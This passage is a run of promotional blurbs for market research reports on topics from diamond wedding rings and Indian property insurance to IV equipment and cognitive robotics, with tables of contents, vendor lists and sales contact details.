verticals, and deployment have been assimilated to arrive at the market estimates. The report comprises the forecast of the global revenue generated by sales of application development and deployment software. TMR triangulates the data via different analysis based on supply side, demand side, as well as dynamics of application development and deployment software market. TMR not only conducts forecasts in terms of value, but also evaluates the market on the basis of essential parameters, such as Year-on-Year (Y-o-Y) growth. This helps providers to recognize the future opportunities as well predictability of the market.Global Application Development and Deployment Software Market: SegmentationsOn the basis of software type, the global application development and deployment software market has been segmented into application development software, structured data management software, application server middleware, integration and process automation middleware, data access, analysis, and delivery, and quality and life cycle tools. On the basis of vertical, the global application development and deployment software market has been bifurcated into IT and telecommunications, banking, financial services, and insurance (BFSI), transportation and logistics, energy and utilities, retail and consumer goods, manufacturing, and others. Based on deployment, the market has been categorized into cloud-based and on-premise. For each of these segments, the TMR report provides revenue in terms of US Mn comparison by region, market share, and year-to-year comparison.View full report :Geographically, the report takes stock of the potential of application development and deployment software market in the regions of North America (The U.S. and Canada), Latin America (Mexico, Brazil, and Argentina), Europe (Germany, France, Spain, The U.K., Italy, and Nordic), Asia Pacific except Japan (China, India, Malaysia, Thailand, Australia, and Singapore), The Middle East and Africa (GCC countries, Nigeria, South Africa, and Israel), and in the country of Japan. For each of these countries, the report provides revenue comparison on the basis of type, vertical, and deployment.Global Application Development and Deployment Software Market: Competitive LandscapeHewlett Packard Enterprise Company, Microsoft Corp., IBM, Oracle Corp., Salesforce.com, Inc., SAP SE, Alphabet Inc., Compuware Corp., ServiceNow, Inc., and CA Technology Inc. are some of the key companies currently operating in the global application development and deployment software market.MRRbiz supports your business intelligence needs with over 700,000 market research reports, company profiles, data books, and regional market data sheets in its repository. Our document database is updated by the hour, which means that you always have access to fresh data spanning over 300 industries and their sub-segments. We have built a veritable reputation for our commitment to fulfilling our clients' exacting market research solutions. From Fortune 500 companies to SMEs, our clients place their trust in us for reports from verified publishers.State Tower90 State Street, Suite 700Albany, NY 12207United StatesToll Free: 866-997-4948(USA-Canada)Tel: +1-518-621-2074E: sales@marketresearchreports.biz
Diamond Wedding Ring 2017 Global Market Key Players  Cartier, Tiffany, Laofengxiang, Chow Tai Fook, LVMH  Analysis and Forecast to 2022

Diamond Wedding Ring Market 2017

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Diamond Wedding Ring Market 2017Wiseguyreports.Com adds Diamond Wedding Ring Market Market Demand, Growth, Opportunities, Analysis of Top Key Players and Forecast to 2022 To Its Research Database.Report Details:This report studies Diamond Wedding Ring in Global market, especially in North America, China, Europe, Southeast Asia, Japan and India, with production, revenue, consumption, import and export in these regions, from 2012 to 2016, and forecast to 2022.This report focuses on top manufacturers in global market, with production, price, revenue and market share for each manufacturer, coveringCartierTiffanyLaofengxiangChow Tai FookChow Sang SangLukfookMingrLVMHChowtaisengHarry WinstonCHJI DOCHJDYuyuanDavid?YurmanTSLVan Cleef&ArpelsCharles & ColvardRequest a Sample Report @On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoFinished Wedding RingSemi-finished Wedding RingCustomized Wedding RingBy Application, the market can be split intoEngagementWeddingBy Regions, this report covers (we can add the regions/countries as you want)North AmericaChinaEuropeSoutheast AsiaJapanIndiaIf you have any special requirements, please let us know and we will offer you the report as you want.Complete Report Details@Major Key Points in Table of Content:1 Industry Overview of Diamond Wedding Ring1.1 Definition and Specifications of Diamond Wedding Ring1.1.1 Definition of Diamond Wedding Ring1.1.2 Specifications of Diamond Wedding Ring1.2 Classification of Diamond Wedding Ring1.2.1 Finished Wedding Ring1.2.2 Semi-finished Wedding Ring1.2.3 Customized Wedding Ring1.3 Applications of Diamond Wedding Ring1.3.1 Engagement1.3.2 Wedding1.3.3 Application 31.4 Market Segment by Regions1.4.1 North America1.4.2 China1.4.3 Europe1.4.4 Southeast Asia1.4.5 Japan1.4.6 India2 Manufacturing Cost Structure Analysis of Diamond Wedding Ring2.1 Raw Material and Suppliers2.2 Manufacturing Cost Structure Analysis of Diamond Wedding Ring2.3 Manufacturing Process Analysis of Diamond Wedding Ring2.4 Industry Chain Structure of Diamond Wedding Ring..8 Major Manufacturers Analysis of Diamond Wedding Ring8.1 Cartier8.1.1 Company Profile8.1.2 Product Picture and Specifications8.1.2.1 Product A8.1.2.2 Product B8.1.3 Cartier 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.1.4 Cartier 2016 Diamond Wedding Ring Business Region Distribution Analysis8.2 Tiffany8.2.1 Company Profile8.2.2 Product Picture and Specifications8.2.2.1 Product A8.2.2.2 Product B8.2.3 Tiffany 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.2.4 Tiffany 2016 Diamond Wedding Ring Business Region Distribution Analysis8.3 Laofengxiang8.3.1 Company Profile8.3.2 Product Picture and Specifications8.3.2.1 Product A8.3.2.2 Product B8.3.3 Laofengxiang 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.3.4 Laofengxiang 2016 Diamond Wedding Ring Business Region Distribution Analysis8.4 Chow Tai Fook8.4.1 Company Profile8.4.2 Product Picture and Specifications8.4.2.1 Product A8.4.2.2 Product B8.4.3 Chow Tai Fook 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.4.4 Chow Tai Fook 2016 Diamond Wedding Ring Business Region Distribution Analysis8.5 Chow Sang Sang8.5.1 Company Profile8.5.2 Product Picture and Specifications8.5.2.1 Product A8.5.2.2 Product B8.5.3 Chow Sang Sang 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.5.4 Chow Sang Sang 2016 Diamond Wedding Ring Business Region Distribution Analysis8.6 Lukfook8.6.1 Company Profile8.6.2 Product Picture and Specifications8.6.2.1 Product A8.6.2.2 Product B8.6.3 Lukfook 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.6.4 Lukfook 2016 Diamond Wedding Ring Business Region Distribution Analysis8.7 Mingr8.7.1 Company Profile8.7.2 Product Picture and Specifications8.7.2.1 Product A8.7.2.2 Product B8.7.3 Mingr 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.7.4 Mingr 2016 Diamond Wedding Ring Business Region Distribution Analysis8.8 LVMH8.8.1 Company Profile8.8.2 Product Picture and Specifications8.8.2.1 Product A8.8.2.2 Product B8.8.3 LVMH 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.8.4 LVMH 2016 Diamond Wedding Ring Business Region Distribution Analysis8.9 Chowtaiseng8.9.1 Company Profile8.9.2 Product Picture and Specifications8.9.2.1 Product A8.9.2.2 Product B8.9.3 Chowtaiseng 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.9.4 Chowtaiseng 2016 Diamond Wedding Ring Business Region Distribution Analysis8.10 Harry Winston8.10.1 Company Profile8.10.2 Product Picture and Specifications8.10.2.1 Product A8.10.2.2 Product B8.10.3 Harry Winston 2016 Diamond Wedding Ring Sales, Ex-factory Price, Revenue, Gross Margin Analysis8.10.4 Harry Winston 2016 Diamond Wedding Ring Business Region Distribution AnalysisContinued.Buy now @Contact Us:NORAH TRENTPh: +1-646-845-9349 (US)Sales@Wiseguyreports.ComPh: +44 208 133 9349 (UK)ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.ADDRES:WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Property Insurance India Market 2017 - Current and Future Investment Plans

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Synopsis"Property Insurance in India to 2020: Market Size, Growth and Forecast Analytics" contains detailed historic and forecast data covering Property Insurance in India. This databook provides values for key performance indicators such as policies and premiums (gross written premiums, direct written premiums, net written premiums, net earned premiums, net written premiums (% of GWP), insurance penetration (ratio of direct premiums to GDP) and number of active policies), claims & expenses (gross claims, paid claims, change in outstanding reserves, incurred loss and loss ratio (%)) and segmented by product type (fire and allied perils, engineering, agriculture and other property insurances ).GET SAMPLE REPORT @The research handbook provides the up-to-date market data for period 2011-2015 and illustrative forecast to 2020. Values in the handbook are depicted in USD ($) and local currency by country and number of active policies are represented in millions.SummaryProperty insurance is a policy that provides financial reimbursement to the owner or renter of a structure and its contents, in the event of damage or theft. Property insurance can include Fire and Allied Perils Insurance, Engineering Insurance, Agriculture Insurance and Other Property Insurance.The total amount of gross written premiums in the property insurance in India is valued at INRxxx.xx billion (US$xxx.xx billion) in 2015, which is an increase of xx.xx% from 2011. The category has recorded a CAGR of xx.xx% during the review period (2011-2015).Property Insurance in India to 2020: Market Size, Growth and Forecast Analytics provides a top-level overview and detailed insight into the operating environment of Insurance industry in India. It is an essential tool for companies active across the India value chain and for new players considering to enter the market.ScopeProperty Insurance in India to 2020: Market Size, Growth and Forecast Analytics provides you with the following: Overall values of policies and premiums and claims & expenses in the Property Insurance Values of policies and premiums by product type (fire and allied perils, engineering, agriculture and other property insurances )Reasons to Buy Understand the non-life insurance industry covering property insurance in India. Enhance your knowledge of the market with a breakdown of data including gross written premiums, direct written premiums, net written premiums, net earned premiums, net written premiums (% of GWP), insurance penetration (ratio of direct premiums to GDP) and number of active policies gross claims, paid claims, change in outstanding reserves, incurred loss and loss ratio (%) and segmented by product type (fire and allied perils, engineering, agriculture and other property insurances ). Allows you to plan future business decisions using the forecast figures given for the segment. The broad but detailed perspective will help all the companies in the Insurance industry to understand and succeed in the challenging market.Table of Content: Key Points1 Introduction1.1 What is this Report About?1.2 Definitions1.3 Methodology1.4 CAGR Definition and Calculation2 Property Insurance2.1 Policies and Premiums2.1.1 Gross Written Premiums, 2011 - 20152.1.2 Gross Written Premiums Forecast, 2016 - 20202.1.3 Direct Written Premiums, 2011 - 20152.1.4 Direct Written Premiums Forecast, 2016 - 20202.1.5 Net Written Premiums, 2011 - 20152.1.6 Net Written Premium Forecast, 2016 - 20202.1.7 Net Written Premiums (% of GWP), 2011 - 20152.1.8 Net Written Premium (% of GWP) Forecast, 2016 - 20202.1.9 Net Earned Premiums, 2011 - 20152.1.10 Net Earned Premiums Forecast, 2016 - 20202.1.11 Insurance Penetration (Ratio of Direct Premiums to GDP), 2011 - 20152.1.12 Insurance Penetration (Ratio of Direct Premiums to GDP) Forecast, 2016 - 20202.1.13 Number of Active Policies, 2011 - 20152.1.14 Number of Active Policies Forecast, 2016 - 20202.2 Property Insurance - Claims and Expenses2.2.1 Gross Claims, 2011 - 20152.2.2 Gross Claims Forecast, 2016 - 20202.2.3 Paid Claims, 2011 - 20152.2.4 Paid Claims Forecast, 2016 - 20202.2.5 Change in Outstanding Reserves, 2011 - 20152.2.6 Change in Outstanding Reserves Forecast, 2016 - 20202.2.7 Incurred Loss, 2011 - 20152.2.8 Incurred Loss Forecast, 2016 - 20202.2.9 Loss Ratio (%), 2011 - 20152.2.10 Loss Ratio % Forecast, 2016 - 20203 Property Insurance - By Product Type3.1 Fire and Allied Perils Insurance3.1.1 Gross Written Premiums, 2011 - 20153.1.2 Gross Written Premiums Forecast, 2016 - 20203.1.3 Direct Written Premiums, 2011 - 20153.1.4 Direct Written Premiums Forecast, 2016 - 20203.1.5 Insurance Penetration (Ratio of Direct Premiums to GDP), 2011 - 20153.1.6 Insurance Penetration (Ratio of Direct Premiums to GDP) Forecast, 2016 - 20203.2 Engineering Insurance3.2.1 Gross Written Premiums, 2011 - 20153.2.2 Gross Written Premiums Forecast, 2016 - 20203.2.3 Direct Written Premiums, 2011 - 20153.2.4 Direct Written Premiums Forecast, 2016 - 20203.2.5 Insurance Penetration (Ratio of Direct Premiums to GDP) , 2011 - 20153.2.6 Insurance Penetration (Ratio of Direct Premiums to GDP) Forecast, 2016 - 20203.3 Agriculture Insurance3.3.1 Gross Written Premiums, 2011 - 20153.3.2 Gross Written Premiums Forecast, 2016 - 20203.3.3 Direct Written Premiums, 2011 - 20153.3.4 Direct Written Premiums Forecast, 2016 - 20203.3.5 Insurance Penetration (Ratio of Direct Premiums to GDP) , 2011 - 20153.3.6 Insurance Penetration (Ratio of Direct Premiums to GDP) Forecast, 2016 - 20203.4 Other Property Insurance3.4.1 Gross Written Premiums, 2011  2015ContinuedACCESS REPORT @Get in touch:LinkedIn:Twitter:Facebook:Wise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Increase in popularity of Business-to-Consumer E-commerce Market in China 2017-2021

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"The Report Business-to-Consumer E-commerce Market in China 2017-2021 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"About Business-to-Consumer E-commerceOnline sales of products including apparel, footwear, accessories, consumer electronics and electricals, cosmetics, and food and beverages to individual customers are considered the business-to-consumer (B2C) e-commerce market. The business-to-consumer e-commerce market in China is segmented based on the following products: Apparel, footwear, and accessories; consumer electronics and electricals; beauty and personal care products; infants and mothers products; publications; food and beverages; and other products.Technavios analysts forecast the business-to-consumer e-commerce market in China to decline at a CAGR of (28.78%) during the period 2017-2021.View Report @Covered in this reportThe report covers the present scenario and the growth prospects of the business-to-consumer e-commerce market in China for 2017-2021. To calculate the market size, the report presents a detailed picture of the market by way of study, synthesis, and summation of data from multiple sources.Technavios report, Business-to-Consumer E-commerce Market in China 2017-2021, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.Key vendorsAlibaba Group HoldingDangdangJD.comSuning Holdings GroupVipshop HoldingsOther prominent vendorsAmazon ChinaBeijing Chuangrui Culture MediaGOMELightInTheBoxOverstockRakutenSun Art Retail GroupGet Sample Copy Of This Report @Market driverIncrease in internet and smartphone penetrationFor a full, detailed list, view our reportMarket challengeRising instances of product returnsFor a full, detailed list, view our reportMarket trendIncrease in popularity of digital payment servicesFor a full, detailed list, view our reportKey questions answered in this reportWhat will the market size be in 2021 and what will the growth rate be?What are the key market trends?What is driving this market?What are the challenges to market growth?Who are the key vendors in this market space?Send An Enquiry Request @Table of ContentsPART 01: EXECUTIVE SUMMARYPART 02: SCOPE OF THE REPORTPART 03: RESEARCH METHODOLOGYPART 04: INTRODUCTIONMarket outlinePART 05: MARKET LANDSCAPEMarket overviewMarket size and forecastFive forces analysisPART 06: MARKET SEGMENTATION BY PRODUCTBusiness-to-consumer e-commerce market in China by productApparel, footwear, and accessoriesConsumer electronics and electricalsBeauty and personal care productsInfants and mothers productsPublicationsFood and beveragesOther productsPART 07: MARKET SEGMENTATION BY DEVICE USED FOR SHOPPINGBusiness to consumer e-commerce market in China by device used for shoppingB2C e-commerce market in China using PCsB2C e-commerce market in China using mobile devicesPART 08: MARKET SEGMENTATION BY CUSTOMER CATEGORYBusiness to consumer e-commerce market in China by customer categoryPART 09: DECISION FRAMEWORKPART 10: DRIVERS AND CHALLENGESMarket driversMarket challengesPART 11: MARKET TRENDSIncrease in popularity of digital payment servicesGrowing m-commerce platformAbout usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.State Tower 90 Sate Street, Suite 700 Albany, NY 12207 Tel: +1-518-621-2074 USA: Canada Toll Free: 866-997-4948
Food preservatives Market - Increased growth due to Changing lifestyle Forecast to 2027

Organic food preservatives market

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Market Research Future published a half cooked research report on Global Food preservatives Market Research Report - Forecast to 2027. In this reports our Research Team has highlighted some of the Key points which are very important in terms of Market Growth, Share, Analysis and future prospects related to this Industry.Market ScenarioGlobally, the market for Food preservatives has been increasing due to food and beverages industries. Changing lifestyle and consumers preference towards ready to eat food, packaged foods are drivers for the market.SegmentsThe market for global food preservatives market is segmented on the basis of by product type, source and application; by product type the Food preservatives market is segmented as flavoring agent, antioxidants, nutrition enhancer, colorants, sweeteners, and others On the basis of source the global food preservatives market is segmented as natural and synthetic. By application, the market finds its usage in dairy & beverages, bakery & confectionery and others.Request For Sample report@Key PlayersCargill Inc.DSM N.V.Kemin Industries Inc.AkzoNobel N.V.Tate & Lyle PLCand Brenntag AGUnivar Inc.Hawkins Watts LimitedGalacticDanisco A/SThe report for Global Food Preservatives Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Browse Full Report Details @Table of ContentsExecutive SummaryMarket Introduction1 Definition2 Scope of the study2.1 Research Objectives2.2 Assumptions2.3 Limitations3 Markets Structure4 StakeholdersResearch Methodology1 Research Application2 Secondary Research3 Primary Research4 Forecast Model5 Market Size EstimationMarket Dynamics1 Drivers2 Restraints3 Opportunities4 Challenges..Competitive landscape1 Introduction2 Certifications Launch/Development3 Partnerships and collaborations4 Acquisitions5 Business ExpansionCompany Profiles1 Cargill, Incorporated (U.S.)2 DuPont Nutrition & Health (Denmark)3 Tate & Lyle (U.K.)4 Univar Inc. (U.S.)5 Akzo Nobel N.V. (Netherlands)6 Kemin Industries, Inc. (U.S.)7 Hawkins Watts Limited (Australia).CONTINUEDIn Market Research Future we enable our customers to unravel complexity of various industry through our Cooked Research Report (CRR), Half Cooked Research Report (HCRR), Raw Research Report (3R), Continuous-Feed-Research (CFR), and Market Research & Consulting Services.MRFR team has a supreme objective of providing optimum quality of market research and intelligence services to our clients. Our market research studies by product, services, technology, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, do more which help to answer all their most important questions.Market Research FutureOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Postmenopausal Osteoporosis Therapeutics Market Size will Observe Substantial Growth by 2021

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Osteoporosis is an orthopedic condition where the bone density and bone mass decreases and eventually increases the risk of bone fracture. Osteoporosis is one of the most common age related diseases worldwide and also represents a major public health problem. Osteoporosis is common among females than in the male population. Women with age more than 50 years are more prone to osteoporosis due to hormonal changes occurring after menopause. The currently available technologies fail to cure postmenopausal osteoporosis completely and thus healthcare professionals prefer medicinal therapy for treatment of postmenopausal osteoporosis.View Report Preview@Considering the relation of age in postmenopausal osteoporosis, aging of population worldwide is the major factor that is increasing the morbidity rate of postmenopausal osteoporosis. Increasing prevalence of this condition and innovations in the corresponding drug market are major driving forces of the postmenopausal osteoporosis therapeutics market. While high standards for approval of any new product to launch into the market, competition from the emerging alternative technologies and intense competition from generics are restraining growth of this market. Mergers and acquisitions taking place in the market is one of the major restraining force of postmenopausal osteoporosis therapeutics market.Based on the type of medicines used, postmenopausal osteoporosis therapeutics market is segmented as follows:BisphosphonatesHormonesStrontium ranelateRaloxifeneDenosumabOthersGeographically, the global postmenopausal osteoporosis therapeutics market is segmented into:North AmericaEuropeAsia PacificRest of the WorldCurrently, North America dominates the postmenopausal osteoporosis therapeutics market and is closely followed by Europe. Asia-Pacific is a lucrative regional market for such drugs considering factors such as increasing healthcare spending and improving healthcare infrastructure.Request to View Sample of Research Report @Gradual; development of the medical tourism industry in the region is also expected to further spur the growth of postmenopausal osteoporosis therapeutics market in Asia-Pacific. Some of the major companies contributing to the global postmenopausal osteoporosis therapeutics market are Eli Lilly, Pfizer, Inc., F. Hoffman La Roche, Procter & Gamble and Merck.About UsPersistence Market Research (PMR) is a U.S.-based full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research values.Contact UsPersistence Market Research305 Broadway,7th FloorNew York City, NY 10007United StatesT: +1-646-568-7751Tollfree: +1 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Latest Report IV Equipment Market , Industry Analysis , Growth , Forecast & Trends by 2022

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Market Research Reports Search Engine (MRRSE) has been serving as an active source to cater intelligent research report to enlighten both readers and investors. This research study titled Global Market Study on IV Equipment: IV Catheters to Account for Largest Revenue Share.Click here For Free Sample Report @An ageing population suffering from chronic diseases, particularly in developed regions, is anticipated to demand ever-more surgical procedures. IV therapy is one of the best choices available and this should benefit companies in the IV equipment market. Strong economic growth in Latin America and APEJ are expected to provide significant growth opportunities for companies actively involved in the IV equipment market. Nonetheless, rising prevalence of medication errors, strict regulatory requirements for new equipment and the absence of wireless connectivity in surgical centers and hospitals could stifle the growth in the IV equipment market. The IV equipment market is predicted to record a steady CAGR of 5.0% from 2017 to 2022.IV Catheters Popular in the IV Equipment MarketThe IV catheter segment accounted for a revenue share approaching one-third of the IV equipment market by product type in 2017 and may gain market share going forward. The IV catheter segment is poised to be worth just under US$ 3.5 billion at the end of the forecast period in 2022, making it large enough for all stakeholders in the IV equipment market. Infusion pumps follow IV catheters in the IV equipment market and have a revenue share of approx. a sixth in terms of product type segment. Europe is the largest region in the infusion pumps market as the continent has a well-developed medical infrastructure coupled with a geriatric population that would naturally demand such treatment.To Know The latest Trends and Insights Prevalent in This Market, Click the link below:Marginal Opportunity in Securement Devices and Stopcocks & Valve SegmentA similar potential exists in the securement devices segment and the stopcocks & valve segments of the IV equipment market as they both have minimal revenue share in 2017. However, the securement devices segment is estimated to lose market share over the course of the forecast period while the stopcocks & valve segment is assessed to gain share. An absolute dollar opportunity of more than US$ 270 million exists in the stopcocks & valve segment of the IV equipment market from the year 2017 to 2022. Along with Europe, companies are advised to target APEJ as the region could record the highest CAGR for the five-year study period. As the region becomes more affluent, consumers there might demand better healthcare services and IV equipment should ready to take advantage of this.Drip Chamber and Needleless Connector Chosen Less in IV Equipment MarketThe drip chamber and needleless connector segment seem to be losing popularity as they represent a single digit revenue share in the IV equipment market and are still bleeding share. Therefore, it wouldnt be surprising if companies in the IV equipment market decided to overlook these two product types entirely in favor of more lucrative options in the IV equipment market. A comparatively higher CAGR of more than 4.5% is likely to be witnessed in the drip chamber segment and companies are recommended to take this into account while formulating their strategies.Make An Enquiry @About Market Research Reports Search Engine (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.comWebsite:Read More Industry News At:
Cognitive Robotics Sales Global Market Key Trends, Size, Growth, Shares And Forecast Research Report 2017

Cognitive Robotics Sales Market

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Researchmoz added Most up-to-date research on "Global Cognitive Robotics Sales Market Report 2017" to its huge collection of research reports.In this report, the global Cognitive Robotics market is valued at USD XX million in 2016 and is expected to reach USD XX million by the end of 2022, growing at a CAGR of XX% between 2016 and 2022.Geographically, this report split global into several key Regions, with sales (K Units), revenue (Million USD), market share and growth rate of Cognitive Robotics for these regions, from 2012 to 2022 (forecast), coveringUnited StatesChinaEuropeJapanKoreaTaiwanTo Get Sample Copy of Report visit @Global Cognitive Robotics market competition by top manufacturers/players, with Cognitive Robotics sales volume, Price (USD/Unit), revenue (Million USD) and market share for each manufacturer/player; the top players includingCognitive Operational Systems (U.S.)Haapie SAS (France)KinderLab Robotics (U.S.)Tinybots (Netherlands)BKIN Technologies Limited (Canada)R.U. Robots Limited (U.K.)Behaviour Labs SRL (Italy)Heron Robots SRL (Italy)Perceptronic Solutions (U.S.)On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoMotor BabbleImitationKnowledge AcquisitionOn the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, sales volume, market share and growth rate of Cognitive Robotics for each application, includingAerospace & DefenseAutomotiveConsumer ElectronicsHealthcareCommercialOthersTable of ContentsGlobal Cognitive Robotics Sales Market Report 20171 Cognitive Robotics Market Overview1.1 Product Overview and Scope of Cognitive Robotics1.2 Classification of Cognitive Robotics by Product Category1.2.1 Global Cognitive Robotics Market Size (Sales) Comparison by Type (2012-2022)1.2.2 Global Cognitive Robotics Market Size (Sales) Market Share by Type (Product Category) in 20161.2.3 Motor Babble1.2.4 Imitation1.2.5 Knowledge Acquisition1.3 Global Cognitive Robotics Market by Application/End Users1.3.1 Global Cognitive Robotics Sales (Volume) and Market Share Comparison by Application (2012-2022)1.3.2 Aerospace & Defense1.3.3 Automotive1.3.4 Consumer Electronics1.3.5 Healthcare1.3.6 Commercial1.3.7 Others1.4 Global Cognitive Robotics Market by Region1.4.1 Global Cognitive Robotics Market Size (Value) Comparison by Region (2012-2022)1.4.2 United States Cognitive Robotics Status and Prospect (2012-2022)1.4.3 China Cognitive Robotics Status and Prospect (2012-2022)1.4.4 Europe Cognitive Robotics Status and Prospect (2012-2022)1.4.5 Japan Cognitive Robotics Status and Prospect (2012-2022)1.4.6 Korea Cognitive Robotics Status and Prospect (2012-2022)1.4.7 Taiwan Cognitive Robotics Status and Prospect (2012-2022)1.5 Global Market Size (Value and Volume) of Cognitive Robotics (2012-2022)1.5.1 Global Cognitive Robotics Sales and Growth Rate (2012-2022)1.5.2 Global Cognitive Robotics Revenue and Growth Rate (2012-2022)Get Complete TOC With Tables and Figures @2 Global Cognitive Robotics Competition by Players/Suppliers, Type and Application2.1 Global Cognitive Robotics Market Competition by Players/Suppliers2.1.1 Global Cognitive Robotics Sales and Market Share of Key Players/Suppliers (2012-2017)2.1.2 Global Cognitive Robotics Revenue and Share by Players/Suppliers (2012-2017)2.2 Global Cognitive Robotics (Volume and Value) by Type2.2.1 Global Cognitive Robotics Sales and Market Share by Type (2012-2017)2.2.2 Global Cognitive Robotics Revenue and Market Share by Type (2012-2017)2.3 Global Cognitive Robotics (Volume and Value) by Region2.3.1 Global Cognitive Robotics Sales and Market Share by Region (2012-2017)2.3.2 Global Cognitive Robotics Revenue and Market Share by Region (2012-2017)2.4 Global Cognitive Robotics (Volume) by Application3 United States Cognitive Robotics (Volume, Value and Sales Price)3.1 United States Cognitive Robotics Sales and Value (2012-2017)3.1.1 United States Cognitive Robotics Sales and Growth Rate (2012-2017)3.1.2 United States Cognitive Robotics Revenue and Growth Rate (2012-2017)3.1.3 United States Cognitive Robotics Sales Price Trend (2012-2017)3.2 United States Cognitive Robotics Sales Volume and Market Share by Players3.3 United States Cognitive Robotics Sales Volume and Market Share by Type3.4 United States Cognitive Robotics Sales Volume and Market Share by Application4 China Cognitive Robotics (Volume, Value and Sales Price)4.1 China Cognitive Robotics Sales and Value (2012-2017)4.1.1 China Cognitive Robotics Sales and Growth Rate (2012-2017)4.1.2 China Cognitive Robotics Revenue and Growth Rate (2012-2017)4.1.3 China Cognitive Robotics Sales Price Trend (2012-2017)4.2 China Cognitive Robotics Sales Volume and Market Share by Players4.3 China Cognitive Robotics Sales Volume and Market Share by Type4.4 China Cognitive Robotics Sales Volume and Market Share by Application5 Europe Cognitive Robotics (Volume, Value and Sales Price)5.1 Europe Cognitive Robotics Sales and Value (2012-2017)5.1.1 Europe Cognitive Robotics Sales and Growth Rate (2012-2017)5.1.2 Europe Cognitive Robotics Revenue and Growth Rate (2012-2017)5.1.3 Europe Cognitive Robotics Sales Price Trend (2012-2017)5.2 Europe Cognitive Robotics Sales Volume and Market Share by Players5.3 Europe Cognitive Robotics Sales Volume and Market Share by Type5.4 Europe Cognitive Robotics Sales Volume and Market Share by Application6 Japan Cognitive Robotics (Volume, Value and Sales Price)6.1 Japan Cognitive Robotics Sales and Value (2012-2017)6.1.1 Japan Cognitive Robotics Sales and Growth Rate (2012-2017)6.1.2 Japan Cognitive Robotics Revenue and Growth Rate (2012-2017)6.1.3 Japan Cognitive Robotics Sales Price Trend (2012-2017)6.2 Japan Cognitive Robotics Sales Volume and Market Share by Players6.3 Japan Cognitive Robotics Sales Volume and Market Share by Type6.4 Japan Cognitive Robotics Sales Volume and Market Share by ApplicationContinue...About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Heavy Construction Equipment Market Asia-Pacific Research Report 2017 Analysis & Forecast to 2021

